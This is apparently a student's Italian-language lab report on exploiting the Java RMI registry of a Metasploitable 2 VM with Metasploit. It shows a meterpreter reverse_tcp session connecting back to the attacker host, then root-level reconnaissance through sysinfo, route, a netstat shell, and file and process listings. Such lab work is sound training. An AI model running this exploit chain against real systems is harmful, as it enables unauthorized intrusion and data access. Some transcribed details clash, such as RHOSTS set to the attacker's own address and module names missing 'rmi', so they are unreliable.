

Progetto Modulo 4 – Lorenzo Turini

La consegna del M4 prevedeva di sfruttare il servizio vulnerabile su Metasploitable 2 Java_RMI sulla porta 1099 tramite console Metasploit e avviare una sessione Meterpreter in remoto.

```
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:feeb:7ef5 prefixlen 64 scopeid 0<link>
    ether 08:00:27:cb:7e:f5 txqueuelen 1000 (Ethernet)
    RX packets 15930 bytes 2587227 (2.4 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 19042 bytes 2122886 (2.0 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 9787 bytes 4421235 (4.2 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 9787 bytes 4421235 (4.2 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(kali@kali) ~$
```

```
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 0.889/1.170/1.596/0.308 ms
msfadmin@metasploitable:~$ ipconfig
-bash: ipconfig: command not found
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:6e:a9:f1
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe6e:a9f1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:21149 errors:0 dropped:0 overruns:0 frame:0
          TX packets:14108 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2329805 (2.2 MB)  TX bytes:2433050 (2.3 MB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:874 errors:0 dropped:0 overruns:0 frame:0
          TX packets:874 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:151688 (148.1 KB)  TX bytes:151688 (148.1 KB)

msfadmin@metasploitable:~$
```

FOLDERS

My Scans

All Scans

Trash

RESOURCES

Policies

Plugin Rules

Terrascan

Vulnerabilities 62

INFO RMI Registry Detection

Description

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

See Also

<https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/spec/rmiTOC.html>
<http://www.nessus.org/u?b6fd7659>

Output

Valid response recieved for port 1099:
0x00: 51 AC ED 00 05 77 0F 01 45 77 93 BE 00 00 01 8D Q.....Ew.....
0x10: C9 77 08 72 80 02 75 72 00 13 5B 4C 6A 61 76 61 .w.r..ur..[Ljava
0x20: 2E 6C 61 6E 67 2B 53 74 72 69 6E 67 3B AD D2 56 .lang.String;..V
0x30: E7 E9 1D 7B 47 02 00 00 70 78 70 00 00 00 00 ...[G...pxp....

To see debug logs, please visit individual host

Port Hosts

1099 / tcp / rmi_regist... 192.168.11.112

Plugin Details

Severity: Info

ID: 22227

Version: 1.22

Type: remote

Family: Service detection

Published: August 16, 2006

Modified: June 1, 2022

Risk Information

Risk Factor: None

Vulnerability Information

CPE: cpe:/a:oracle:java_se

Asset Inventory: True

```
msf6 > search java rmi
```

Vulnerabilities: 100

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	JMX Server Insecure Configuration Code Execution
2	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	JMX Server Insecure Endpoint Code Execution Scanner
3	auxiliary/gather/java_registry		normal	No	Registry Interfaces Enumeration
4	exploit/multi/misc/java_server	2011-10-15	excellent	Yes	Server Insecure Default Configuration Code Execution
5	auxiliary/scanner/misc/java_server	2011-10-15	normal	No	Server Insecure Endpoint Code Execution Scanner
6	exploit/multi/browser/java_connection_impl	2010-03-31	excellent	No	ConnectionImpl Deserialization Privilege Escalation
7	exploit/multi/browser/java_signed_applet	1997-02-19	excellent	No	Signed Applet Social Engineering Code Execution
8	exploit/multi/http/jenkins_metaprogramming	2019-01-08	excellent	Yes	Jenkins ACL Bypass and Metaprogramming RCE
9	exploit/linux/misc/jenkins_deserialize	2015-11-18	excellent	No	Jenkins CLI Deserialization Vulnerability
10	exploit/multi/browser/firefox_xpi_bootstrapped_addon	2007-06-27	excellent	Yes	Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
11	exploit/multi/http/openfire_auth_bypass_rce CVE_2023_32315	2023-05-26	excellent	No	Openfire authentication bypass with RCE plugin
12	exploit/multi/http/totalsjs_cms_widget_exec	2019-08-30	excellent	Yes	Totals.js CMS 12 Widget Script Code Injection
13	exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc	2021-09-21	manual	Yes	VMware vCenter vScalescript Priv Esc

Interact with a module by name or index. For example info 13, use 13 or use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc

```
msf6 > use 4
```

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

```
Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10                    yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.111        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099                  yes       The target port (TCP)
  SRVHOST   0.0.0.0                yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080                  yes       The local port to listen on.
  SSL       false                 no        Negotiate SSL for incoming connections
  SSLCert   nil                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   nil                   no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)
```

Dopo aver avviato la sessione meterpreter sono stati eseguiti i comandi “getuid” per ottenere i permessi di amministratore (root), poi sono stati lanciati i comandi “sysinfo” per ottenere le informazioni del computer

e di sistema, “ifconfig” e “ipconfig” per visualizzare le configurazioni della macchina metasploitable 2, inoltre, è stato lanciato anche il comando “route” per ottenere le configurazioni di rete per ottenere le informazioni sulle routing tables. Con questa serie di comandi sono state svolte le prime due consegne richieste dal progetto del Modulo 4.

```
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter >

meterpreter > ipconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe6e:a9f1
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0      0.0.0.0      0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0
```

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe6e:a9f1
IPv6 Netmask : ::

meterpreter >
```

Dopo aver completato le richieste della consegna sono stati eseguiti ulteriori comandi per ottenere più informazioni possibili riguardo la macchina target. Lanciando il comando "shell" è stato creato 1 processo/canale shell dal quale è stato lanciato il comando "netstat" per evidenziare le connessioni presenti fra le due macchine. Un altro comando lanciato da meterpreter è stato "dir" evidenziando una Listing nella directory root ("/") dove sono stati mostrati, permessi, nome file e tutte le caratteristiche di questi nella directory in questione. È stato inserito il comando "cd /home/msfadmin" seguito dal comando "ls" per visualizzare la lista dei file presenti nella directory indicata. Un ulteriore comando utilizzato è stato "ps" per visualizzare le informazioni sui processi attivi sulla macchina target.

```
meterpreter > shell
Process 1 created.
Channel 1 created.
netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 192.168.11.112:43531    192.168.11.111:50554    CLOSE_WAIT
tcp        0      0 192.168.11.112:45681    192.168.11.111:4444     ESTABLISHED
tcp        0      0 192.168.11.112:43531    192.168.11.111:42600    CLOSE_WAIT
tcp        0      0 192.168.11.112:40446    192.168.11.111:4444     ESTABLISHED
tcp        0      0 192.168.11.112:49756    192.168.11.111:4444     ESTABLISHED
udp        0      0 localhost:33560         localhost:33560         ESTABLISHED
udp        0      0 192.168.11.112:34841    192.168.1.254:domain    ESTABLISHED
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags               Type               State              I-Node  Path
unix   2      [ ]                  DGRAM              5858              @/com/ubuntu/upstart
unix  15      [ ]                  DGRAM             11067              /dev/log
unix   2      [ ]                  DGRAM             6085              @/org/kernel/udev/udev
unix   2      [ ]                  DGRAM             45517
unix   2      [ ]                  DGRAM             12650
unix   2      [ ]                  DGRAM             12581
unix   2      [ ]                  DGRAM             12503
unix   2      [ ]                  DGRAM             12461
unix   3      [ ]                  STREAM             CONNECTED          12387              /tmp/.X11-unix/X0
unix   3      [ ]                  STREAM             CONNECTED          12386
unix   3      [ ]                  STREAM             CONNECTED          12385              /tmp/.X11-unix/X0
unix   3      [ ]                  STREAM             CONNECTED          12384
unix   2      [ ]                  DGRAM             12327
unix   2      [ ]                  DGRAM             12110
unix   2      [ ]                  DGRAM             12054
unix   3      [ ]                  STREAM             CONNECTED          12038
unix   3      [ ]                  STREAM             CONNECTED          12037
```

```
meterpreter > dir
Listing: /
```

Mode	Size	Type	Last modified	Name
040666/rw-rw-rw-	4096	dir	2012-05-13 23:35:33 -0400	bin
040666/rw-rw-rw-	1024	dir	2012-05-13 23:36:28 -0400	boot
040666/rw-rw-rw-	4096	dir	2010-03-16 18:55:51 -0400	cdrom
040666/rw-rw-rw-	13480	dir	2024-02-20 21:00:54 -0500	dev
040666/rw-rw-rw-	4096	dir	2024-02-20 21:00:59 -0500	etc
040666/rw-rw-rw-	4096	dir	2010-04-16 02:16:02 -0400	home
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:40 -0400	initrd
100666/rw-rw-rw-	7929183	fil	2012-05-13 23:35:56 -0400	initrd.img
040666/rw-rw-rw-	4096	dir	2012-05-13 23:35:22 -0400	lib
040666/rw-rw-rw-	16384	dir	2010-03-16 18:55:15 -0400	lost+found
040666/rw-rw-rw-	4096	dir	2010-03-16 18:55:52 -0400	media
040666/rw-rw-rw-	4096	dir	2010-04-28 16:16:56 -0400	mnt
100666/rw-rw-rw-	28172	fil	2024-02-20 21:01:21 -0500	nohup.out
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:39 -0400	opt
100666/rw-rw-rw-	0	fil	2024-01-26 13:37:45 -0500	pk
040666/rw-rw-rw-	0	dir	2024-02-20 21:00:40 -0500	proc
040666/rw-rw-rw-	4096	dir	2024-02-20 21:01:21 -0500	root
040666/rw-rw-rw-	4096	dir	2012-05-13 21:54:53 -0400	sbin
040666/rw-rw-rw-	4096	dir	2010-03-16 18:57:38 -0400	srv
040666/rw-rw-rw-	0	dir	2024-02-20 21:00:42 -0500	sys
040666/rw-rw-rw-	4096	dir	2024-02-20 22:55:59 -0500	tmp
040666/rw-rw-rw-	4096	dir	2010-04-28 00:06:37 -0400	usr
040666/rw-rw-rw-	4096	dir	2010-03-17 10:08:23 -0400	var
100666/rw-rw-rw-	1987288	fil	2008-04-10 12:55:41 -0400	vmlinuz

```
meterpreter > █
```

```
meterpreter > cd /home/msfadmin
```

```
meterpreter > ls
```

```
Listing: /home/msfadmin
```

Mode	Size	Type	Last modified	Name
100667/rw-rw-rwx	0	fil	2010-03-16 19:01:07 -0400	.bash_history
040667/rw-rw-rwx	4096	dir	2010-04-17 14:11:00 -0400	.distcc
040667/rw-rw-rwx	4096	dir	2024-02-01 06:25:01 -0500	.gconf
040667/rw-rw-rwx	4096	dir	2024-02-01 06:25:31 -0500	.gconfd
100667/rw-rw-rwx	4174	fil	2012-05-14 02:01:49 -0400	.mysql_history
100667/rw-rw-rwx	586	fil	2010-03-16 19:12:59 -0400	.profile
100667/rw-rw-rwx	4	fil	2012-05-20 14:22:32 -0400	.rhosts
040667/rw-rw-rwx	4096	dir	2010-05-17 21:43:18 -0400	.ssh
100667/rw-rw-rwx	0	fil	2010-05-07 14:38:35 -0400	.sudo_as_admin_successful
100666/rw-rw-rw-	0	fil	2024-01-26 15:00:33 -0500	search
040666/rw-rw-rw-	4096	dir	2010-04-27 23:44:17 -0400	vulnerable

meterpreter > ps

Process List

PID	Name	User	Path
1	/sbin/init	root	/sbin/init
2	[kthreadd]	root	[kthreadd]
3	[migration/0]	root	[migration/0]
4	[ksoftirqd/0]	root	[ksoftirqd/0]
5	[watchdog/0]	root	[watchdog/0]
6	[events/0]	root	[events/0]
7	[khelper]	root	[khelper]
41	[kblockd/0]	root	[kblockd/0]
44	[kacpid]	root	[kacpid]
45	[kacpi_notify]	root	[kacpi_notify]
91	[kseriod]	root	[kseriod]
130	[pdflush]	root	[pdflush]
131	[pdflush]	root	[pdflush]
132	[kswapd0]	root	[kswapd0]
174	[aio/0]	root	[aio/0]
1130	[ksnapd]	root	[ksnapd]
1303	[ata/0]	root	[ata/0]
1307	[ata_aux]	root	[ata_aux]
1316	[scsi_eh_0]	root	[scsi_eh_0]
1319	[scsi_eh_1]	root	[scsi_eh_1]
1338	[ksuspend_usb]	root	[ksuspend_usb]
1341	[khubd]	root	[khubd]
2075	[scsi_eh_2]	root	[scsi_eh_2]
2269	[kjournald]	root	[kjournald]
2424	/sbin/udevd	root	/sbin/udevd --daemon
2655	[kpsmouse]	root	[kpsmouse]
3578	[kjournald]	root	[kjournald]